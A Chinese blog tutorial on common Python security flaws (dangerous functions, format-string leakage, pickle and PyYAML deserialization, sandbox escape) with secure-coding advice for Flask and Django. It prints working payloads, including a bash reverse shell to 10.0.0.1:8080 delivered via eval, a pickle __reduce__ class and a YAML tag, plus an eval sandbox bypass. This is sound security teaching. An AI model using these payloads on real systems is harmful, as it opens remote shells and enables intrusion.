Python开发常见漏洞
- Author：ZERO-A-ONE
- Date：2020-12-29
一、危险函数
每个语言都有一些使用要特别小心的危险函数，这里例举Python的三个危险函数：eval(), exec() 和input()，不恰当的使用它们可能会引起认证绕过甚至是代码注入
1.1 eval
eval函数接受字符串并将字符串当作代码执行，比如：
eval('1+1')
会返回2，所以eval函数可以用来在系统上执行任意代码
我们来看个例子：
def addition(a, b):
return eval("%s + %s" % (a, b))
result = addition(request.json['a'], request.json['b'])
print("The result is %d." % result)
上面的代码，使用的是JSON格式来接收输入，正常的输入比如：
{"a":"1", "b":"2"}
那么会输出：
The result is 3.
但是因为eval就只是单纯的执行用户提供的输入，那攻击者就可以为程序提供一些恶意构造的输入，下面是一个例子：
{"a":"__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')#", "b":"2"}
上面这个输入会导致程序调用os.system()函数，并在8080端口上开启一个反向shell给IP 10.0.0.1
1.2 Exec
exec和eval类似，都是把给定的输入字符串进行执行，所以利用的方式也差不多，下面这个例子也是和eval那个例子类似
def addition(a, b):
return exec("%s + %s" % (a, b))
addition(request.json['a'], request.json['b'])
1.3 Input
在Python2中，接受用户输入有两个内置的函数：input()和raw_input()，后面Python3变成了一个：input()
Python2中input和raw_input的区别是，raw_input是将输入变成字符串后再处理，而input是直接保留原始数据类型
那么这有什么问题呢？如果使用Python2的input函数，可以意味着攻击者可以自动的传递变量名，函数名，从而导致绕过认证等其他意想不到的后果
下面来看一个例子：
user_pass = get_user_pass("admin")
if user_pass == input("Please enter your password"):
login()
else:
print "Password is incorrect!"
攻击者可以很简单的把user_pass变量名作为输入，然后可以看到，检查密码的等式为真，测试通过了
if user_pass == user_pass: // 为真
当然还有更猥琐的，攻击者可以传入get_user_pass(“admin”)达到相同的效果
if user_pass == get_user_pass("admin"): // 也为真
由于input这个安全问题，在使用Python2（现在还有使用Python2的么？），应该使用raw_input来代替input
这个漏洞在Python3被清除了，Python3的input和Python2的raw_input是相同的
二、字符串格式化
Python还有一个函数是很危险的，它就是str.format()。如果一个程序在用户可以控制的格式化字符串上使用str.formate()，攻击者可以通过精心构造的格式化字符串访问程序的任意数据。这是一个很容易被利用的漏洞，会导致身份验证的绕过和数据泄露
Python3引入了一个新的格式化方式，比起Python2的%运算符更强大更灵活。新的字符串格式化功能的一个特点是你可以访问对象的属性，这就让你可以做下面这样的事情
CONFIG = {
"API_KEY": "xxxxxxxxxxxxxxxxxxxxx"
}
class Person(object):
def __init__(self, name):
self.name = name
def print_nametag(format_string, person):
return format_string.format(person=person)
new_person = Person("Pxiaoer")
print_nametag(input("Please format your nametag!"), person)
上面程序的功能是输入一个名字，然后返回格式化的名字
比如下面的这次调用：
print_nametag("Hi, my name is {person.name}. I am a {person.__class__.__name__}.", new_person)
会输出：
"Hi, my name is Pxiaoer. I am a Person."
当用户可以控制格式化字符串的时候，问题就出现了。在使用Python对象方法的特殊属性可以用来泄露程序数据。比如，globals可以用来访问全局变量的字典。下面的调用，直接泄露了数据
print_nametag("{person.__init__.__globals__[CONFIG][API_KEY]}", new_person)
上面的调用会返回：
xxxxxxxxxxxxxxxxxxxxx
这样就造成了API key泄露给了程序的使用者
三、反序列化
3.1 利用Pickle反序列化
序列化就是把编程语言中的对象（比如Python对象）转换成，可以保存到数据库或者可以在网络传输的格式
反序列化是相关的情况，就是将一个已经序列化的对象从文件或网络中读取，再转换回一个对象
在Python中，序列化是通过Pickles来完成的。下面的例子将打印new_person的序列化的结果
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
print(pickle.dumps(new_person))
结果：
b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.'
而pickle.load是返回Python的原始对象，供程序使用，这个过程称为unpickling：
print(pickle.loads(b'\x80\x04\x95/\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x07Pxiaoer\x94sb.').name)
输出：
Pxiaoer
当程序接受的攻击者恶意构造的数据时，该功能会使攻击者能够绕过身份验证，甚至是代码执行
3.2 身份验证绕过
如果程序接受一个已经序列化的对象信息，但是没有检查对象的完整行。攻击者可以简单的提供一个假的pickle来绕过访问控制
在这里假设程序的会话cookie是一个字符串，它是Person对象的base64编码的序列化表示。当程序接收一个会话cookie时，它需要反序列化，取出对着中的name字段来检查用户身份
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
session_cookie = base64_encode(pickle.dumps(new_person))
序列化并不提供任何形式的数据保护，它只是数据进行打包传输的一种形式，如果cookie没有加密，在使用前没有检查cookie的完整性，攻击者可以轻松的伪造任何用户的cookie
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Admin")
session_cookie = base64.b64encode(pickle.dumps(new_person))
3.3 代码执行
不安全的反序列化还可以用来实现代码执行。我们需要先记住一点，pickle是可以表示任意的Python对象。当一个程序做反序列化操作的时候，它是在实例化该类的一个新对象
pickle类允许对象通过reduce方法来声明它们应该如果被序列化，这个方法不接受任何的参数，返回一个字符串或者元组。当返回一个元组时，元组将决定对象在反序列化期间如何重构。元组是以下的形式：
(callable object that will be called to instantiate the new object, a tuple of arguments for that callable object)
这就意味着，如果攻击者在一个对象上定义了reduce方法，那么这个序列化的对象可以在反序列化的时候被实例化成其他的东西
下面我们来看个例子：
class Malicious:
def __reduce__(self):
return (os.system, ('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1',))
fake_object = Malicious()
session_cookie = base64.b64encode(pickle.dumps(fake_object))
上面的代码可以看到，定义了一个reduce方法，在反序列化的时候，就执行了reduce里面的代码
os.system('bash -i >& /dev/tcp/10.0.0.1/8080 0>&1')
这样攻击者得到了一个绑定在8080端口的shell
3.4 YAML解析问题
另外一种不安全的反序列化的漏洞利用方式是通过加载YAML文件
YAML 是 “YAML Ain’t Markup Language “的缩写。它是一种数据序列化标准，在各种编程语言中被广泛使用。在Python中，Pyyaml是最流行的YAML处理库
一个YAML文件，类似于pickles，可以表示任意的Python对象。在Pyyaml中，你可以把一个Python对象打包成YAML文件，比如：
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
print(yaml.dump(new_person))
上面的代码输出：
!!python/object:__main__.Person
name: Pxiaoer
为了将YAML文件重新变为原始的Python对象，程序需要调用
yaml.load(YAML_FILE)
这就和pickle反序列化问题一样，YAML加载可以给攻击者提供构造任意对象来实现代码执行的机会
3.5 认证绕过
如果程序使用了用户提高的YAML文件来进行访问控制，而且不检查YAML文件的完整性，攻击者就可能构造任意的YAML文档来绕过访问控制
下面来看个例子
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Pxiaoer")
session_cookie = base64_encode(yaml.dump(new_person))
如果使用上面代码来生成用户的会话cookie，那攻击者就可以简单的生成一个伪造的会话cookie
class Person:
def __init__(self, name):
self.name = name
new_person = Person("Admin")
session_cookie = base64_encode(yaml.dump(new_person))
3.6 代码执行
如果程序使用pyyaml 的版本低于 4.1，可以通过YAML向应用程序提供一个os.system()命令来实现任意代码执行
!!python/object/apply:os.system ["bash -i >& /dev/tcp/10.0.0.1/8080 0>&1"]
四、沙箱逃逸
沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制，最终成功拿到shell权限的过程
对于Python沙箱逃逸来说，就是从一个被阉割和做了严格限制的python执行环境中获取到更高的权限，甚至getshell
对于python的沙箱逃逸而言,我们来实现目的的最终想法有以下几个
- 使用os包中的popen,system两个函数来直接执行shell
- 使用commands模块中的方法
- 使用subprocess
- 使用写文件到指定位置,再使用其他辅助手段
总体来说,我们使用以下几个函数,就可以直接愉快的拿到shell啦!
import os
import subprocess
import commands
# 直接输入shell命令,以ifconfig举例
os.system('ifconfig')
os.popen('ifconfig')
commands.getoutput('ifconfig')
commands.getstatusoutput('ifconfig')
subprocess.call(['ifconfig'],shell=True)
但是,可以确定的是,防御者是不会这么轻易的让我们直接拿到shell的,肯定会有各种过滤,对代码进行各种各样的检查,来阻止可能的进攻
五、安全编码规范
本身要注意的有，一些危险函数，危险模块的调用，主要是系统调用。这个如果调用一定要对输入输出做好过滤，以下是代码中各种导致进行系统调用的方式。尽量避免。
- 避免各种情况导致系统调用
- 谨慎使用Eval
- 数据序列化
5.1 Web编程
对应Web编程中安全概念在python web框架中的实现。url跳转，目录遍历，任意文件读取也需要考虑在内。针对不同的框架也需要。
5.1.1 Flask 安全
- 使用Flask-Security
- 直接生成 HTML 而不通过使用Jinja2
- 不要在用户提交的数据上调用Markup
- 使用 Content-Disposition: attachment 标头去避免上传html文件
- 防止CSRF，flask本身没有实现该功能
5.1.2 Django 安全
可参考phithon的博客，有较多相关资料。
- 关闭DEBUG模式
- 关闭swagger调试
- 妥善保存SECRET_KEY
- 使用SecurityMiddleware
- 设置SECURE_HSTS_SECONDS开启HSTS头，强制HTTPS访问
- 设置SECURE_CONTENT_TYPE_NOSNIFF输出nosniff头，防止类型混淆类漏洞
- 设置SECURE_BROWSER_XSS_FILTER输出x-xss-protection头，让浏览器强制开启XSS过滤
- 设置SECURE_SSL_REDIRECT让HTTP的请求强制跳转到HTTPS
- 设置SESSION_COOKIE_SECURE使Cookie为Secure，不允许在HTTP中传输
- 设置CSRF_COOKIE_SECURE使CSRF Token Cookie设置为Secure，不允许在HTTP中传输
- 设置CSRF_COOKIE_HTTPONLY为HTTP ONLY
- 设置X_FRAME_OPTIONS返回X-FRAME-OPTIONS: DENY头，以防止被其他页面作为框架加载导致ClickJacking
- 部署前运行安全性检测 django-admin.py checksecure --settings=production_settings
5.1.3 XSS
未对输入和输出做过滤，场景：
def xss_test(request):
name = request.GET['name']
return HttpResponse('hello %s' %(name))
在代码中一搜，发现有大量地方使用，比较正确的使用方式如下：
def xss_test(request):
name = request.GET['name']
#return HttpResponse('hello %s' %(name))
return render_to_response('hello.html', {'name':name})
更好的就是对输入做限制，比如说一个正则范围，输出使用正确的api或者做好过滤
5.1.4 CSRF
对系统中一些重要的操作要做CSRF防护，比如登录，关机，扫描等。django 提供CSRF中间件django.middleware.csrf.CsrfViewMiddleware,写入到settings.py的中间件即可
def my_view(request):
c = {}
c.update(csrf(request))
# ... view code here
return render_to_response("a_template.html", c)
5.1.5 命令注入
审计代码过程中发现了一些编写代码的不好的习惯，体现最严重的就是在命令注入方面，本来python自身的一些函数库就能完成的功能，偏偏要调用os.system来通过shell 命令执行来完成，老实说最烦这种写代码的啦。下面举个简单的例子：
def myserve(request, filename, dirname):
re = serve(request=request,path=filename,document_root=dirname,show_indexes=True)
filestr='authExport.dat'
re['Content-Disposition'] = 'attachment; filename="' + urlquote(filestr) +'"'fullname=os.path.join(dirname,filename)
os.system('sudo rm -f %s'%fullname)
return re
很显然这段代码是存在问题的，因为fullname是用户可控的。正确的做法是不使用os.system接口，改成python自有的库函数，这样就能避免命令注入。python的三种删除文件方式：
- shutil.rmtree 删除一个文件夹及所有文件
- os.rmdir 删除一个空目录
- os.remove，unlink 删除一个文件
使用了上述接口之后还得注意不能穿越目录，不然整个系统都有可能被删除了。常见的存在命令执行风险的函数如下：
os.system,os.popen,os.spaw*,os.exec*,os.open,os.popen*,commands.call,commands.getoutput,Popen*
推荐使用subprocess模块，同时确保shell=True未设置，否则也是存在注入风险的
5.1.6 sql注入
如果是使用django的api去操作数据库就应该不会有sql注入了，但是因为一些其他原因使用了拼接sql，就会有sql注入风险。下面贴一个有注入风险的例子：
def getUsers(user_id=None):
conn = psycopg2.connect("dbname='××' user='××' host='' password=''")
cur = conn.cursor(cursor_factory=psycopg2.extras.DictCursor)
if user_id==None:
str = 'select distinct * from auth_user'
else:
str='select distinct * from auth_user where id=%s'%user_id
res = cur.execute(str)
res = cur.fetchall()
conn.close()
return res
```
像这种sql拼接就有sql注入问题，正常情况下应该使用django的数据库api，如果实在有这方面的需求，可以按照如下方式写：
```python
def user_contacts(request):
user = request.GET['username']
sql = "SELECT * FROM user_contacts WHERE username = %s"
cursor = connection.cursor()
cursor.execute(sql, [user])
# do something with the results
results = cursor.fetchone() #or results = cursor.fetchall()
cursor.close()
```
直接拼接的是万万不可的，如果采用ModelInstance.objects.raw(sql,[]),或者connection.objects.execute(sql,[]) ,通过列表传进去的参数是没有注入风险的，因为django会有处理。
# 6 代码执行
一般是由于eval和pickle.loads的滥用造成的，特别是eval，大家都没有意识到这方面的问题。下面举个代码中的例子：
```python
@login_required
@permission_required("accounts.newTask_assess")
def targetLogin(request):
req = simplejson.loads(request.POST['loginarray'])
req=unicode(req).encode("utf-8")
loginarray=eval(req)
ip=_e(request,'ipList')
#targets=base64.b64decode(targets)
(iplist1,iplist2)=getIPTwoList(ip)
iplist1=list(set(iplist1))
iplist2=list(set(iplist2))
loginlist=[]
delobjs=[]
holdobjs=[]
这一段代码就是就是因为eval的参数不可控，导致任意代码执行，正确的做法就是literal.eval接口。再取个pickle.loads的例子：
>>> import cPickle
>>> cPickle.loads("cos\nsystem\n(S'uname -a'\ntR.")
Linux RCM-RSAS-V6-Dev 3.9.0-aurora #4 SMP PREEMPT Fri Jun 7 14:50:52 CST 2013 i686 Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz GenuineIntel GNU/Linux
0
5.1.7 文件操作
文件操作主要包含任意文件下载，删除，写入，覆盖等，如果能达到写入的目的时基本上就能写一个webshell了。下面举个任意文件下载的例子：
@login_required
@permission_required("accounts.newTask_assess")
def exportLoginCheck(request,filename):
if re.match(r“*.lic”，filename):
fullname = filename
else:
fullname = "/tmp/test.lic"
print fullname
return HttpResponse(fullname)
这段代码就存在着任意.lic文件下载的问题，没有做好限制目录穿越，同理
5.1.8 文件上传
5.1.8.1 任意文件上传
这里主要是未限制文件大小，可能导致ddos，未限制文件后缀，导致任意文件上传，未给文件重命名，可能导致目录穿越，文件覆盖等问题
5.1.8.2 xml，excel等上传
在我们的产品中经常用到xml来保存一些配置文件，同时也支持xml文件的导出导入，这样在libxml2.9以下就可能导致xxe漏洞。就拿lxml来说吧：
root@kali:~/python# cat test.xml
]>
>>> from lxml import etree
>>> tree1 = etree.parse('test.xml')
>>> print etree.tostring(tree1.getroot())
这是因为在lxml中默认采用的XMLParser导致的：
class XMLParser(_FeedParser)
| XMLParser(self, encoding=None, attribute_defaults=False, dtd_validation=False, load_dtd=False, no_network=True, ns_clean=False, recover=False, XMLSchema schema=None, remove_blank_text=False, resolve_entities=True, remove_comments=False, remove_pis=False, strip_cdata=True, target=None, compact=True)
关注其中两个关键参数，其中resolve_entities=True,no_network=True,其中resolve_entities=True会导致解析实体，no_network会为True就导致了该利用条件比较有效，会导致一些ssrf问题，不能将数据带出。在python中xml.dom.minidom,xml.etree.ElementTree不受影响
5.1.9 不安全的封装
5.1.9.1 eval 封装不彻底
仅仅是将__builtings__置为空，如下方式即可绕过,可参见bug84179
>>> s2="""
... [x for x in ().__class__.__bases__[0].__subclasses__()
... if x.__name__ == "zipimporter"][0](
... "/home/xxlegend/eval_test/configobj-4.4.0-py2.5.egg").load_module(
... "configobj").os.system("uname")
... """
>>> eval(s2,{'__builtins__':{}})
Linux
0
5.1.9.2 执行命令接口封装不彻底
在底层封装函数没有过滤shell元字符，仅仅是限定一些命令，但是其参数未做控制，可参见bug86011
5.2 审计工具
安装使用方式较为简单，所以不做介绍。
- AST-based static Analyzer: Bandit
- Static Analyzer: PYT
参考文章
-
Python语言安全问题: http://flypython.com/tutorial/367.html
-
Python安全编码规范: https://www.cnblogs.com/xiaozi/p/10044594.html
-
Python沙箱逃逸的n种姿势: https://xz.aliyun.com/t/52
-
Flask debug pin安全问题: https://xz.aliyun.com/t/2553
-
浅谈PyYAML反序列化漏洞: https://xz.aliyun.com/t/7923
-
Python安全编码和代码审计: http://xxlegend.com/2015/07/30/Python%E5%AE%89%E5%85%A8%E7%BC%96%E7%A0%81%E5%92%8C%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/